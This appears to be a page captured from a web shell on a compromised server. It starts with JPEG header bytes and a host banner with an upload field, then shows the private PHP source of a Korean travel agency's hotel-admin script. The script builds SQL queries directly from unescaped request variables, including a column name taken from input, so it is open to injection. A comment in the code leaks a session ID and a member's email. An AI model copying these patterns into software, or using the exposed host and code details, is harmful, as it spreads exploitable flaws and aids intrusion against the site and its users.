ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/toadmin/hotel_tw/ |
Upload File : |
<? include "../include/top_proc.html"; include "_common.php"; /** * 객실 정보 요금 처리 * 작성일 : 20130515.허종 * * params : * * 수정이력 * 20130821_1 - 객실현황조정기록(TB_HOTEL_CTRLHIST) 저장 기능 추가(허종) * 20130924_1 - 호텔코드 중복체크 추가(허종) * **/ $table = "TB_HOTEL"; $upload = $cf['path']."/FileData/hotel/";//이미지업로드경로 $upload_thum = $cf['path']."/FileData/hotel_thum/";//썸네일 이미지업로드경로 // 따옴표 무력화(2016-05-18,허종) $hotel_intro = insert_smart($hotel_intro); $checkin_intro = insert_smart($checkin_intro); $sisul_intro = insert_smart($sisul_intro); $sisul2_intro = insert_smart($sisul2_intro); $etc_intro = insert_smart($etc_intro); $rule_intro = insert_smart($rule_intro); $user_intro = insert_smart($user_intro); //호텔기본정보저장 if($SqlType=="hotel_ins") { if(!$hotel_nm or !$hotel_code)exit; // 파일 업로드 $up_img1 = @FileUploadName( "", $upload, $_FILES['img1']['tmp_name'], $_FILES['img1']['name'] ,""); @make_thum($upload.$up_img1,$upload_thum.$up_img1);//이미지썸네일 생성 // 테마구분 for($i=0,$j=1 ; $i<count($hotel_thema) ; $i++,$j++){ $hotel_thema_str .= $hotel_thema[$i]; if($j<count($hotel_thema)) $hotel_thema_str .= ","; } // 객실설비 $room_equipment_total = count($room_equipment); for( $i=0 ; $i < $room_equipment_total ; $i++ ){ $room_equipment_str .= $room_equipment[$i]; if ( $i < ( $room_equipment_total-1 ) ) $room_equipment_str .= ","; } // 호텔코드 중복 체크 $hotel_data = hotel_list(" and hotel_code='{$hotel_code}' "); if ( count($hotel_data) > 0 ) { // 중복코드가 있으면,재발급 $hotel_data = hotel_list(" and left(ins_dt,10)=curdate() "); $hotel_code = date("Ymd")."_".sprintf("%04d",count($hotel_data)+1); } // 상품특징아이콘 $g_type_str = ""; for($i=0,$j=1 ; $i<count($g_type_arr) ; $i++,$j++){ $g_type_str .= $g_type_arr[$i]; if ($j < count($g_type_arr)) $g_type_str .= ","; } // 담당자 if ($admin_id) { $mem_data = get_member($admin_id); $admin_nm = $mem_data['mb_nm']; } // 1차카테고리 if(!$b_uid) { $v = TO_get_bc("","N"," and tab='L' "); $b_uid = $v[0]['b_uid']; } $sql = "insert into {$table} set "; $sql .= " seller_id='{$seller_id}'"; $sql .= ",seller_nm='{$seller_nm}'"; $sql .= ",hotel_nm='{$hotel_nm}'"; $sql .= ",hotel_nm_eng='{$hotel_nm_eng}'"; $sql .= ",hotel_code='{$hotel_code}' "; $sql .= ",level_cd='{$level_cd}' "; $sql .= ",hotel_div='{$hotel_div}' "; $sql .= ",room_count='{$room_count}' "; $sql .= " ,areaa_cd='{$areaa_cd}'"; $sql .= " ,areab_cd='{$areab_cd}'"; $sql .= " ,areac_cd='{$areac_cd}'"; if($cf['tab']['L']=="Y") { $sql .= " ,b_uid='{$b_uid}'"; $sql .= " ,m_uid='{$m_uid}'"; $sql .= " ,s_uid='{$s_uid}'"; // 외환 $sql .= ",exchange_fg='{$exchange_fg}' "; $sql .= ",exid='{$exid}' "; } $sql .=" ,g_type='".$g_type_str."' "; $sql .= ",subway_city_cd='{$subway_city_cd}' "; $sql .= ",subway_area_cd1='{$subway_area_cd1}' "; $sql .= ",subway_area_cd2='{$subway_area_cd2}' "; $sql .= ",subway_area_cd3='{$subway_area_cd3}' "; $sql .= ",zipcode='{$zipcode}' "; $sql .= ",address='{$address}' "; $sql .= ",address_d='{$address_d}' "; $sql .= ",tel='{$tel}' "; $sql .= ",fax='{$fax}' "; $sql .= ",url='{$url}' "; $sql .= ",hotel_thema='{$hotel_thema_str}' "; $sql .= ",equipment='{$room_equipment_str}'"; $sql .= ",img1='{$up_img1}' "; $sql .= ",hotel_brief='{$hotel_brief}' "; $sql .= ",checkin_intro='{$checkin_intro}' "; $sql .= ",hotel_intro='{$hotel_intro}' "; $sql .= ",sisul_intro='{$sisul_intro}' "; $sql .= ",sisul2_intro='{$sisul2_intro}' "; $sql .= ",etc_intro='{$etc_intro}' "; $sql .= ",rule_intro='{$rule_intro}' "; $sql .= ",user_intro='{$user_intro}' "; $sql .= ",admin_id='{$admin_id}' "; $sql .= ",admin_nm='{$admin_nm}' "; //$sql .= ",review_url='{$review_url}' "; $sql .= ",ins_dt=now() "; db_query($sql); error_msg("document.location.href='hotel_list.html';","script"); //호텔 순서변경 }else if($SqlType=="change_ordernum") { for($i=0 ; $i < count($hseq_arr) ; $i++){ $sql = "update TB_HOTEL set order_num='{$order_num_arr[$i]}' where hseq='$hseq_arr[$i]'"; db_query($sql); } error_msg("document.location.reload()","script"); //호텔 노출 수정 }elseif($SqlType=="hotel_disp_yn") { if(!$hseq or !$disp_yn) exit; $sql = "update TB_HOTEL set disp_yn='{$disp_yn}' where hseq='{$hseq}' "; db_query($sql); $data = hotel_list(" and hseq='{$hseq}' "); $row = $data[0]; echo "<img src='../image/btn/{$row['disp_yn2']}' onClick=\"ajax_obj_loader('hotel_proc.php?SqlType=hotel_disp_yn&hseq={$row['hseq']}&disp_yn={$row['disp_yn_opp']}','disp_yn_{$hseq}');\" style=\"cursor:pointer;\" >"; exit; //호텔이미지 수정 }else if($SqlType=="tourgallery_edit"){ if(!is_array($chkall))exit; for($i=0 ; $i<count($chkall) ; $i++){ $g_seq = $chkall[$i]; $title = ${"title_".$chkall[$i]}; $gallery_cd = ${"gallery_cd_".$chkall[$i]}; $order_num = ${"order_num_".$chkall[$i]}; $sql = "update TB_HOTEL_GALLERY set gallery_cd='{$gallery_cd}', title='{$title}',order_num='{$order_num}' where g_seq='{$g_seq}'"; db_query($sql); } error_msg("document.location.reload()","script"); //호텔이미지 삭제 }else if($SqlType=="gallery_delete"){ if(!is_array($chkall))exit; for($i=0 ; $i<count($chkall) ; $i++){ $g_seq = $chkall[$i]; $img = ${"img_".$chkall[$i]}; //해당이미지삭제 @unlink($upload.$img); @unlink($upload_thum.$img); $sql = "delete from TB_HOTEL_GALLERY where g_seq='{$g_seq}'"; db_query($sql); } error_msg("document.location.reload()","script"); //호텔기본정보 수정 }elseif($SqlType=="hotel_edit_base") { if( !$hseq ) exit; $data = hotel_list(" and hseq = '{$hseq}' "); //업로드 파일이 있으면 기존 파일 삭제 if($_FILES['img1']['name']) { @unlink($upload.$data[0]['img1']); @unlink($upload_thum.$data[0]['img1']); //이미지 업로드 $up_img1 = @FileUploadName( "", $upload, $_FILES['img1']['tmp_name'], $_FILES['img1']['name'] ,"");//파일 업로드 @make_thum($upload.$up_img1,$upload_thum.$up_img1);//이미지썸네일 생성 } $sql = "update {$table} set "; $sql .= " hotel_nm='{$hotel_nm}'"; $sql .= ",hotel_nm_eng='{$hotel_nm_eng}'"; $sql .= ",level_cd='{$level_cd}' "; $sql .= ",hotel_div='{$hotel_div}' "; $sql .= ",room_count='{$room_count}' "; $sql .= " ,areaa_cd='{$areaa_cd}'"; $sql .= " ,areab_cd='{$areab_cd}'"; $sql .= " ,areac_cd='{$areac_cd}'"; if($cf['tab']['L']=="Y") { $sql .= " ,b_uid='{$b_uid}'"; $sql .= " ,m_uid='{$m_uid}'"; $sql .= " ,s_uid='{$s_uid}'"; // 외환 //$sql .= ",exchange_fg='{$exchange_fg}' "; //$sql .= ",exid='{$exid}' "; } $sql .= ",zipcode='{$zipcode}' "; $sql .= ",address='{$address}' "; $sql .= ",address_d='{$address_d}' "; $sql .= ",tel='{$tel}' "; $sql .= ",fax='{$fax}' "; $sql .= ",url='{$url}' "; if($up_img1) $sql .= " ,img1='{$up_img1}'"; $sql .= ",hotel_brief='{$hotel_brief}' "; $sql .= ",edit_dt=now() "; $sql .= " where hseq='{$hseq}' "; db_query($sql); error_msg("document.location.href='hotel_edit.html?{$_href}&hseq={$hseq}';","script"); //호텔기본정보 수정 } elseif($SqlType=="hotel_edit_detail") { if( !$hseq ) exit; $data = hotel_list(" and hseq = '{$hseq}' "); //테마구분 for($i=0,$j=1 ; $i<count($hotel_thema) ; $i++,$j++){ $hotel_thema_str .= $hotel_thema[$i]; if($j<count($hotel_thema)) $hotel_thema_str .= ","; } // 상품특징아이콘 $g_type_str = ""; for($i=0,$j=1 ; $i<count($g_type_arr) ; $i++,$j++){ $g_type_str .= $g_type_arr[$i]; if ($j < count($g_type_arr)) $g_type_str .= ","; } //객실설비 $room_equipment_total = count($room_equipment); for( $i=0 ; $i < $room_equipment_total ; $i++ ){ $room_equipment_str .= $room_equipment[$i]; if ( $i < ( $room_equipment_total-1 ) ) $room_equipment_str .= ","; } //설비정보초기화 db_query("update {$table} set {$eqip_sql} ins_dt=now() where hseq='{$hseq}' "); // 담당자 if ($admin_id) { $mem_data = get_member($admin_id); $admin_nm = $mem_data['mb_nm']; } $sql = "update {$table} set "; $sql .= "hotel_code='{$hotel_code}' "; //$sql .= " ,b_uid='{$b_uid}'"; //$sql .= " ,m_uid='{$m_uid}'"; //$sql .= " ,s_uid='{$s_uid}'"; $sql .=" ,g_type='".$g_type_str."' "; $sql .= ",hotel_thema='{$hotel_thema_str}' "; $sql .= ",equipment='{$room_equipment_str}'"; $sql .= ",checkin_intro='{$checkin_intro}' "; $sql .= ",position_intro='{$position_intro}' "; $sql .= ",hotel_intro='{$hotel_intro}' "; $sql .= ",sisul_intro='{$sisul_intro}' "; $sql .= ",sisul2_intro='{$sisul2_intro}' "; $sql .= ",etc_intro='{$etc_intro}' "; $sql .= ",rule_intro='{$rule_intro}' "; $sql .= ",user_intro='{$user_intro}' "; $sql .= ",admin_id='{$admin_id}' "; $sql .= ",admin_nm='{$admin_nm}' "; $sql .= ",ins_dt=now() "; $sql .= " where hseq='{$hseq}' "; db_query($sql); error_msg("document.location.href='hotel_edit_detail.html?{$_href}&hseq={$hseq}';","script"); //주변관광지 저장 }else if($SqlType=="insert_place") { if(!$h_seq or !$p_seq)exit; //이미등록된 관광지 체크 $sql = "select count(*) as cnt from {$table}_PLACE where h_seq='{$h_seq}' and p_seq='$p_seq' "; $row = db_fetch($sql); if($row['cnt'] >0 ) error_msg("이미등록된 관광지입니다.","end"); //관광지등록. $sql = "insert into {$table}_PLACE set h_seq='{$h_seq}', p_seq='$p_seq', ins_dt=now() "; db_query($sql); error_msg("document.location.reload();","script"); //주변관광지 삭제 }else if($SqlType=="delete_place"){ if(!$seq)Exit; $sql = "delete from {$table}_PLACE where seq='{$seq}' "; db_query($sql); error_msg("document.location.reload();","script"); //룸타입 등록 }elseif($SqlType=="roomtype_ins"){ if(!$hseq or !$room_type or !$person_num)Exit; $sql = "insert into {$table}_ROOMTYPE set h_seq='{$hseq}', room_type='$room_type', room_type_eng='{$room_type_eng}', person_maxnum='$person_num', person_num='$person_num', ins_dt=now()"; db_query($sql); error_msg("document.location.reload();","script"); //룸타입 사용 수정 }elseif($SqlType=="roomtype_disp_yn"){ if(!$ridx or !$disp_yn) exit; $sql = "update {$table}_ROOMTYPE set disp_yn='{$disp_yn}' where ridx='{$ridx}' "; db_query($sql); $data = hotel_roomtype(array('hseq'=>$hseq,'ridx'=>$ridx)); $row = $data[0]; echo "<img src='../image/btn/{$row['disp_yn2']}' onClick=\"ajax_obj_loader('hotel_proc.php?SqlType=roomtype_disp_yn&hseq={$hseq}&ridx={$ridx}&disp_yn={$row['disp_yn_opp']}','disp_yn_{$ridx}');\" style=\"cursor:pointer;\">"; exit; //룸타입 순서조정 }elseif($SqlType=="change_roomtype_ordernum"){ for($i=0 ; $i < count($ridx_arr) ; $i++){ $sql = "update {$table}_ROOMTYPE set order_num='{$order_num_arr[$i]}' where ridx='$ridx_arr[$i]'"; db_query($sql); } error_msg("document.location.reload()","script"); //룸타입 수정 }elseif($SqlType=="roomtype_edit"){ if(!$ridx)Exit; $sql = "update {$table}_ROOMTYPE set room_type='{$room_type}', room_info='{$room_info}', person_num='{$person_num}', person_maxnum='{$person_maxnum}', room_type_eng='{$room_type_eng}', room_info_eng='{$room_info_eng}', room_type_cn='{$room_type_cn}', room_info_cn='{$room_info_cn}' where ridx='{$ridx}' "; db_query($sql); if($person_edit=='Y'){//인원수정시 일정속 인원도 수정 $sql = "update TB_HOTEL_DATE set adult_num='{$person_num}',adult_maxnum='{$person_maxnum}' where r_idx='{$ridx}' "; db_query($sql); } error_msg("document.location.reload();","script"); //룸타입 삭제 }elseif($SqlType=="roomtype_delete"){ if(!$ridx)Exit; $sql = "update {$table}_ROOMTYPE set del_flag='Y' where ridx='{$ridx}' "; db_query($sql); error_msg("document.location.reload();","script"); /*------------------------------------------------------------------------------------------------------------------------------ @brief : 숙소 객실요금 등록 @parameters : Array ( [SqlType] => roomdate_ins [hseq] => 3 [ridx] => 1478 [con_input] => auto [room_date_s1] => 2015-03-02 [room_date_e] => 2015-03-04 [room_date] => Array ( [0] => 0 [1] => 1 [2] => 2 [3] => 3 [4] => 4 [5] => 5 [6] => 6 ) [room_date_all] => [price_cost] => 10,000 [price_sell] => 10,000 [price_agent] => 10,000 [price_cost_ch] => 10,000 [price_sell_ch] => 10,000 [price_agent_ch] => 10,000 [price_cost_ki] => 10,000 [price_sell_ki] => 10,000 [price_agent_ki] => 10,000 [opid_arr] => Array ( [0] => 5 ) [adult_num] => 2 [adult_maxnum] => 2 [cont] => [left_seat] => 0 [total_seat] => 10 [lodg_state_cd] => A [_ga] => GA1.2.2104125590.1421224377 [id_save] => click [PHPSESSID] => 93ed6d86bf189ff32478e226507cff0e [MemberID] => click [MemberLevel] => 1 [MemberName] => 클릭 [MemberEmail] => redwizzaa@naver.com ) @return : ------------------------------------------------------------------------------------------------------------------------------*/ }elseif($SqlType=="roomdate_ins"){ if ( !$hseq or !$ridx ) exit; // 계약가 $price_ori = str_replace(",","",$price_ori); //일반(성인) $price_cost = str_replace(",","",$price_cost); $price_sell = str_replace(",","",$price_sell); $price_agent = str_replace(",","",$price_agent); // 아동 $price_cost_ch = str_replace(",","",$price_cost_ch); $price_sell_ch = str_replace(",","",$price_sell_ch); $price_agent_ch = str_replace(",","",$price_agent_ch); // 영아 $price_cost_ki = str_replace(",","",$price_cost_ki); $price_sell_ki = str_replace(",","",$price_sell_ki); $price_agent_ki = str_replace(",","",$price_agent_ki); // 공통쿼리문 $sql_set = " ,price_ori='{$price_ori}' "; $sql_set .= " ,sale_rate='{$sale_rate}' "; //성인 $sql_set .= " ,price_cost='{$price_cost}' "; $sql_set .= " ,price_sell='{$price_sell}' "; $sql_set .= " ,price_agent='{$price_agent}' "; //$sql_set .= " ,price_cost_ch='{$price_cost_ch}' "; //$sql_set .= " ,price_sell_ch='{$price_sell_ch}' "; //$sql_set .= " ,price_agent_ch='{$price_agent_ch}' "; //$sql_set .= " ,price_cost_ki='{$price_cost_ki}' "; //$sql_set .= " ,price_sell_ki='{$price_sell_ki}' "; //$sql_set .= " ,price_agent_ki='{$price_agent_ki}' "; $sql_set .= " ,adult_num='{$adult_num}' "; $sql_set .= " ,adult_maxnum='{$adult_maxnum}' "; // 선택된 대리점 $sel_agent=""; for($a=0,$b=1 ; $a<count($agent_seq_ar) ; $a++,$b++) { $agent_seq = $agent_seq_ar[$a]; $agent_comm = $agent_comm_ar[$a]; $arr_t = member_fetch(" and seq='{$agent_seq}' "); $agent_id = $arr_t[0]['mb_id']; $sel_agent.= $agent_seq."|".$agent_comm."|".$agent_id."||"; } $sql_set .= " ,sel_agent='{$sel_agent}' "; $sql_set .= " ,lodg_state_cd='{$lodg_state_cd}' "; $sql_set .= " ,total_seat='{$total_seat}' "; $sql_set .= " ,ins_dt=now() "; $sql_set_seat_edit = $sql_set." ,left_seat='{$left_seat}' "; $option_delete_switch = true ;//반복문안에서 계속 옵션을 삭제하니까 스위치를 사용 if($con_input=="auto") {//조건자동입력 $room_date_s = $room_date_s1; /*[5] => Array ( [date] => 2015-03-07 [yoil] => 토 [yoil_ord] => 6 )*/ $data_dt = date_to_date($room_date_s , $room_date_e); //codeView($data_dt); for($i=0 ; $i<count($data_dt) ; $i++){ $row = $data_dt[$i]; for($j=0 ; $j<count($room_date) ;$j++){ //요일 if($row['yoil_ord']==$room_date[$j]){ //체크된 요일 $data = hotel_date($hseq," and r_idx='{$ridx}' and room_date='".$row['date']."' ");//동일 촐발일 존재 if(count($data)>0){//출발일이 있을때 업데이트. $sql = "update {$table}_DATE set "; $sql .= " room_date='{$row['date']}' "; $sql .= " ,cont='{$cont}' "; $sql .= " {$sql_set} "; $sql .= " where h_seq='{$hseq}'and r_idx='{$ridx}' and room_date='{$row['date']}' "; db_query($sql); if($option_delete_switch){ // 옵션상품 삭제 (2014-11-05) $sql = "delete from {$table}_DATE_OPTION where ridx='{$ridx}' "; db_query($sql); $option_delete_switch = false; } // 옵션상품 새로 생성(2014-11-05) for($s=0 ; $s<count($opid_arr) ; $s++) { $opid = $opid_arr[$s]; $arr_t = hotel_option($hseq,$opid); // 옵션상품정보(2014-10-17) $arr = $arr_t[0]; $sql = "insert into {$table}_DATE_OPTION set hseq='{$hseq}', ridx='{$ridx}', hdidx='{$data[0][hdidx]}', opid='{$opid}', op_nm='{$arr[op_nm]}', op_price_cost='{$arr[op_price_cost]}', op_price_sell='{$arr[op_price_sell]}', order_num='{$arr[order_num]}', ins_dt=now() "; db_query($sql); //echo $sql; } }else{//출발일이 없을때 인서트 $sql = "insert into {$table}_DATE set "; $sql .= " h_seq='{$hseq}' "; $sql .= " ,r_idx='{$ridx}' "; $sql .= " ,cont='{$cont}' "; $sql .= " ,r_cont='{$r_cont}' "; $sql .= " ,room_date='{$row['date']}' "; $sql .= $sql_set_seat_edit ; db_query($sql); // 룸스케쥴 id(2014-11-05) $hdidx = mysqli_insert_id(); if ($hdidx){ // 옵션상품 새로 생성(2014-11-05) for($s=0 ; $s<count($opid_arr) ; $s++) { $opid = $opid_arr[$s]; $arr_t = hotel_option($hseq,$opid); // 옵션상품정보(2014-10-17) $arr = $arr_t[0]; $sql = "insert into {$table}_DATE_OPTION set hseq='{$hseq}', ridx='{$ridx}', hdidx='{$hdidx}', opid='{$opid}', op_nm='{$arr[op_nm]}', op_price_cost='{$arr[op_price_cost]}', op_price_sell='{$arr[op_price_sell]}', order_num='{$arr[order_num]}', ins_dt=now() "; db_query($sql); } } } } } } }elseif($con_input=="date") { //개별날짜입력 if(!is_array($room_date_s2)) $room_date_s2[0] = $room_date_s2; for($i=0;$i<count($room_date_s2);$i++){ $room_date = $room_date_s2[$i]; $data = hotel_date($hseq," and r_idx='{$ridx}' and room_date='".$room_date."' ");//동일 촐발일 존재 if(count($data)>0){//출발일이 있을때 업데이트. $sql = "update {$table}_DATE set "; $sql .= " room_date='{$room_date}' "; $sql .= " ,cont='{$cont}' "; $sql .= " {$sql_set} "; $sql .= " where h_seq='{$hseq}'and r_idx='{$ridx}' and room_date='{$room_date}' "; db_query($sql); }else{//출발일이 없을때 인서트 $sql = "insert into {$table}_DATE set "; $sql .= " h_seq='{$hseq}' "; $sql .= " ,r_idx='{$ridx}' "; $sql .= " ,r_cont='{$r_cont}' "; $sql .= " ,cont='{$cont}' "; $sql .= " ,room_date='{$room_date}' "; $sql .= $sql_set_seat_edit ; db_query($sql); // 룸스케쥴 id(2014-11-05) $hdidx = mysqli_insert_id(); if ($hdidx){ // 옵션상품 새로 생성(2014-11-05) for($s=0 ; $s<count($opid_arr) ; $s++) { $opid = $opid_arr[$s]; $arr_t = hotel_option($hseq,$opid); // 옵션상품정보(2014-10-17) $arr = $arr_t[0]; $sql = "insert into {$table}_DATE_OPTION set hseq='{$hseq}', ridx='{$ridx}', hdidx='{$hdidx}', opid='{$opid}', op_nm='{$arr[op_nm]}', op_price_cost='{$arr[op_price_cost]}', op_price_sell='{$arr[op_price_sell]}', order_num='{$arr[order_num]}', ins_dt=now() "; db_query($sql); } } } } } error_msg("ajax_loader('hotel_register_date_ajax.html?{$params}','ajax_hotel_date');","script"); //숙소 객실요금 상태수정 }elseif($SqlType=="roomdate_flag"){ if(!$hseq or !$ridx or !$hdidx)exit; $sql = "update {$table}_DATE set del_flag='$del_flag' where hdidx='{$hdidx}'"; db_query($sql); $data = hotel_date($hseq," and r_idx='{$ridx}' and hdidx='{$hdidx}'"); $rows = $data[0]; echo ("<img src='../image/btn/{$rows['del_flag2']}' onClick=\"ajax_obj_loader('hotel_proc.php?SqlType=roomdate_flag&hseq={$hseq}&ridx={$ridx}&hdidx={$hdidx}&del_flag={$rows['del_flag_opp']}','del_flag{$hdidx}');\" />"); //숙소 객실요금 일자 세부사항수정 }elseif($SqlType=="roomdate_edit") { if(!$hseq or !$ridx) exit; if(is_array($chk_roomdate)){//선택수정 for($i=0 ; $i<count($chk_roomdate) ; $i++){ $hdidx = $chk_roomdate[$i]; $price_ori = ${"price_ori_".$hdidx}; $sale_rate = ${"sale_rate_".$hdidx}; // 성인 $price_cost = ${"price_cost_".$hdidx}; $price_sell = ${"price_sell_".$hdidx}; $price_agent = ${"price_agent_".$hdidx}; // 아동 $price_cost_ch = ${"price_cost_ch_".$hdidx}; $price_sell_ch = ${"price_sell_ch_".$hdidx}; $price_agent_ch = ${"price_agent_ch_".$hdidx}; // 유아 $price_cost_ki = ${"price_cost_ki_".$hdidx}; $price_sell_ki = ${"price_sell_ki_".$hdidx}; $price_agent_ki = ${"price_agent_ki_".$hdidx}; // 영아 $price_cost_ba = ${"price_cost_ba_".$hdidx}; $price_sell_ba = ${"price_sell_ba_".$hdidx}; $price_agent_ba = ${"price_agent_ba_".$hdidx}; // 블록 $left_seat = ${"left_seat_".$hdidx}; $total_seat = ${"total_seat_".$hdidx}; // 기본인원 $adult_num = ${"adult_num_".$hdidx}; $adult_maxnum = ${"adult_maxnum_".$hdidx}; // 비고 $cont = ${"cont_".$hdidx}; $price_ori = str_replace(",","",$price_ori); // 성인 $price_cost = str_replace(",","",$price_cost); $price_sell = str_replace(",","",$price_sell); $price_agent = str_replace(",","",$price_agent); // 아동 $price_cost_ch = str_replace(",","",$price_cost_ch); $price_sell_ch = str_replace(",","",$price_sell_ch); $price_agent_ch = str_replace(",","",$price_agent_ch); // 유아 $price_cost_ki = str_replace(",","",$price_cost_ki); $price_sell_ki = str_replace(",","",$price_sell_ki); $price_agent_ki = str_replace(",","",$price_agent_ki); // 영아 $price_cost_ba = str_replace(",","",$price_cost_ba); $price_sell_ba = str_replace(",","",$price_sell_ba); $price_agent_ba = str_replace(",","",$price_agent_ba); $left_seat = str_replace(",","",$left_seat); $total_seat = str_replace(",","",$total_seat); $lodg_state_cd = ${"lodg_state_cd_".$hdidx}; // 객실현황조정기록저장(20130821) $data = hotel_date($hseq," and r_idx='{$ridx}' and hdidx='{$hdidx}' "); // 기존현황 $row = $data[0]; $sql = "insert into TB_HOTEL_CTRLHIST set ins_mb_id='{$TO_MB[mb_id]}' "; $sql .= ",ins_mb_nm = '{$TO_MB[mb_nm]}' "; $sql .= ",hseq='{$hseq}'"; $sql .= ",ridx='{$ridx}'"; $sql .= ",hdidx='{$hdidx}'"; $sql .= ",room_date='{$row[room_date]}'"; $sql .= ",pre_total_seat='$row[total_seat]'"; $sql .= ",cur_total_seat='$total_seat'"; $sql .= ",ins_dt=now()"; db_query($sql); // 수정 $sql = "update {$table}_DATE set "; $sql .= " price_ori='{$price_ori}',sale_rate='{$sale_rate}', "; $sql .= " price_cost='{$price_cost}',price_sell='{$price_sell}',price_agent='{$price_agent}', "; //$sql .= " price_cost_ch='{$price_cost_ch}',price_sell_ch='{$price_sell_ch}',price_agent_ch='{$price_agent_ch}', "; //$sql .= " price_cost_ki='{$price_cost_ki}',price_sell_ki='{$price_sell_ki}',price_agent_ki='{$price_agent_ki}', "; //$sql .= " price_cost_ba='{$price_cost_ba}',price_sell_ba='{$price_sell_ba}',price_agent_ba='{$price_agent_ba}', "; $sql .= " adult_num='{$adult_num}',adult_maxnum='{$adult_maxnum}',cont='{$cont}',lodg_state_cd='{$lodg_state_cd}',left_seat='{$left_seat}',total_seat='{$total_seat}' where h_seq='{$hseq}' and r_idx='{$ridx}' and hdidx='{$hdidx}'"; db_query($sql); } }else{//낱개수정 if(!$hdidx or !$room_date) exit; $price_ori = str_replace(",","",$price_ori); // 성인 $price_cost = str_replace(",","",$price_cost); $price_sell = str_replace(",","",$price_sell); $price_agent = str_replace(",","",$price_agent); // 아동 //$price_cost_ch = str_replace(",","",$price_cost_ch); //$price_sell_ch = str_replace(",","",$price_sell_ch); //$price_agent_ch = str_replace(",","",$price_agent_ch); // 유아 //$price_cost_ki = str_replace(",","",$price_cost_ki); //$price_sell_ki = str_replace(",","",$price_sell_ki); //$price_agent_ki = str_replace(",","",$price_agent_ki); // 영아 //$price_cost_ba = str_replace(",","",$price_cost_ba); //$price_sell_ba = str_replace(",","",$price_sell_ba); //$price_agent_ba = str_replace(",","",$price_agent_ba); // 객실현황조정기록저장(20130821) $data = hotel_date($hseq," and r_idx='{$ridx}' and hdidx='{$hdidx}' "); // 기존현황 $row = $data[0]; $sql = "insert into TB_HOTEL_CTRLHIST set ins_mb_id='{$TO_MB[mb_id]}' "; $sql .= ",ins_mb_nm = '{$TO_MB[mb_nm]}' "; $sql .= ",hseq='{$hseq}'"; $sql .= ",ridx='{$ridx}'"; $sql .= ",hdidx='{$hdidx}'"; $sql .= ",room_date='{$row[room_date]}'"; $sql .= ",pre_total_seat='$row[total_seat]'"; $sql .= ",cur_total_seat='$total_seat'"; $sql .= ",ins_dt=now()"; db_query($sql); $sql = "update {$table}_DATE set "; $sql .= " adult_num='{$adult_num}' "; $sql .= " ,adult_maxnum='{$adult_maxnum}' "; $sql .= " ,cont='{$cont}' "; $sql .= " ,price_ori='{$price_ori}' "; $sql .= " ,sale_rate='{$sale_rate}' "; // 성인 $sql .= " ,price_cost='{$price_cost}' "; $sql .= " ,price_sell='{$price_sell}' "; $sql .= " ,price_agent='{$price_agent}' "; // 아동 //$sql .= " ,price_cost_ch='{$price_cost_ch}' "; //$sql .= " ,price_sell_ch='{$price_sell_ch}' "; //$sql .= " ,price_agent_ch='{$price_agent_ch}' "; // 유아 //$sql .= " ,price_cost_ki='{$price_cost_ki}' "; //$sql .= " ,price_sell_ki='{$price_sell_ki}' "; //$sql .= " ,price_agent_ki='{$price_agent_ki}' "; // 영아 //$sql .= " ,price_cost_ba='{$price_cost_ba}' "; //$sql .= " ,price_sell_ba='{$price_sell_ba}' "; //$sql .= " ,price_agent_ba='{$price_agent_ba}' "; $sql .= " ,lodg_state_cd='{$lodg_state_cd}' "; $sql .= " ,left_seat='{$left_seat}' "; $sql .= " ,total_seat='{$total_seat}' "; $sql .= " ,ins_dt=now() "; $sql .= " where h_seq='{$hseq}' and r_idx='{$ridx}' and room_date='{$room_date}' "; db_query($sql); } // 객실일수 리로드 error_msg("ajax_loader('hotel_register_date_ajax.html?{$_params}','ajax_hotel_date');","script"); //숙소 객실요금 일자 삭제 }elseif($SqlType=="roomdate_del"){ if(!$hseq or !$ridx ) exit; if(is_array($chk_roomdate)){//선택삭제 for($i=0 ; $i<count($chk_roomdate) ; $i++){ $hdidx = $chk_roomdate[$i]; $sql = "delete from {$table}_DATE where h_seq='{$hseq}' and r_idx='{$ridx}' and hdidx='{$hdidx}'"; db_query($sql); } }else{// 낱개삭제 if(!$hdidx)exit; $sql = "delete from {$table}_DATE where h_seq='{$hseq}' and r_idx='{$ridx}' and hdidx='{$hdidx}' "; db_query($sql); } error_msg("ajax_loader('hotel_register_date_ajax.html?{$_params}','ajax_hotel_date');","script"); //구글맵수정 }elseif($SqlType=="hotel_map_edit"){ if(!$hseq or !$map_x or !$map_y)exit; $sql = "update {$table} set map_x='{$map_x}' , map_y='{$map_y}' where hseq='{$hseq}' "; db_query($sql); error_msg("document.location.reload();","script"); }elseif($SqlType=="chg_gmain"){ if(!$hseq or !$colnm)exit; $sql = "update {$table} set {$colnm}='{$yn_str}' where hseq='{$hseq}' "; db_query($sql); // 호텔 삭제 }elseif($SqlType=="delete_hotel") { if(!$hseq) exit; // 호텔 기본정보 $data = hotel_list(" and hseq='{$hseq}' "); @unlink($upload.$data[0]['img1']); @unlink($upload_thum.$data[0]['img1']); $sql = "delete from TB_HOTEL where hseq='{$hseq}' "; db_query($sql); // 호텔 출발일 $sql = "delete from TB_HOTEL_DATE where h_seq='{$hseq}'"; db_query($sql); // 룸타입 $sql = "delete from TB_HOTEL_ROOMTYPE where h_seq='{$hseq}' "; db_query($sql); // 갤러리 $sql = "select * from TB_HOTEL_GALLERY where hotel_seq='{$hseq}' "; $rs = db_query($sql); for($i=0 ; $rows = db_fetch_array($rs) ; $i++){ @unlink($upload.$rows['img']); @unlink($upload_thum.$rows['img']); } $sql = "delete from TB_HOTEL_GALLERY where hotel_seq='{$hseq}'"; db_query($sql); error_msg("document.location.reload();","script"); } // 호텔옵션저장(2014-11-05) elseif($SqlType=="option_ins") { if(!$hseq) exit; $op_price_cost = str_replace(",","",$op_price_cost); $op_price_sell = str_replace(",","",$op_price_sell); $op_price_agent = str_replace(",","",$op_price_agent); $sql = "insert into {$table}_OPTION set "; $sql .= " hseq='{$hseq}', "; $sql .= " op_nm='{$op_nm}', "; $sql .= " op_price_cost='{$op_price_cost}', "; $sql .= " op_price_sell='{$op_price_sell}', "; $sql .= " op_price_agent='{$op_price_agent}', "; $sql .= " ins_dt=now() "; db_query($sql); error_msg("document.location.reload();","script"); } // 호텔옵션 사용수정(2014-11-05) elseif($SqlType=="chg_opt_disp") { if(!$hseq or !$opid) exit; $sql = "update {$table}_OPTION set disp_yn='{$disp_yn}' where opid='{$opid}' and hseq='{$hseq}' "; 